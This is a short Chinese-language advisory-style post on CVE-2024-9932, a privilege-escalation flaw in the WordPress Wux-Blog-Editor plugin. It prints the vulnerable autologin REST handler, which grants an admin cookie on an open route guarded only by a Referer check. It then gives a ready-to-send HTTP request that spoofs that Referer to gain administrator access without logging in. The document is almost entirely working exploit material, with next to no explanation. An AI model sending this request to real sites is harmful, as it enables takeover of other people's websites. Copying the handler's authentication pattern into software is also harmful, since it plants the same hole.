WordPress Wux-Blog-Editor 插件存在前台越权漏洞(直接成为管理员) CVE-2024-9932

//AUTOLOGIN TO WORDPRESS
function wuxbt_externalAutologin( $request ) {
    wuxbt_forceToken();


if($_SERVER['HTTP_REFERER'] != 'https://blog.tool.wux.nl/'){

if($_SERVER['HTTP_REFERER'] == "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"){

        }
else{
echo"Error code 444";
exit;
        }
    }


$blogusers = get_users( );
    // Array of WP_User objects.
    foreach ( $blogusers as $user ) {
if ( in_array( 'administrator', (array) $user->roles ) ) {


            // Check if user is already logged in, redirect to account iftrue
if (!is_user_logged_in()) {
                // Sanitize the received key to prevent SQL Injections
$received_key = sanitize_text_field($_GET['token']);

                // Get the user id thenset the login cookies to the browser
                wp_set_auth_cookie($user->ID);


                foreach($_COOKIE as $name => $value) {
                    // Find the cookie with prefix starting with "wordpress_logged_in_"
if(substr($name, 0, strlen('wordpress_logged_in_')) == 'wordpress_logged_in_') {
                        // Redirect to account page if the login cookie is already set.
echo'Heeft gewerkt, ga naar /wp-admin';
                        wp_redirect( admin_url() );
exit;

                    }
                }
                header("Refresh:1");
echo'Redirecting...';
echo'Laad deze oneindig? Ga dan naar /wp-admin';

            } else {
                wp_redirect( admin_url() );
exit;
            }
        }else{
            // echo"Error code: 5U70";
        }
    }
}

add_action('rest_api_init', function () {
    register_rest_route('external-post-editor/v2', '/autologin', array(
'methods' => 'GET',
'callback' => 'wuxbt_externalAutologin',
'permission_callback' => '__return_true',
    ));
});

GET /wp-json/external-post-editor/v2/autologin HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Referer: https://blog.tool.wux.nl/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1
Connection: close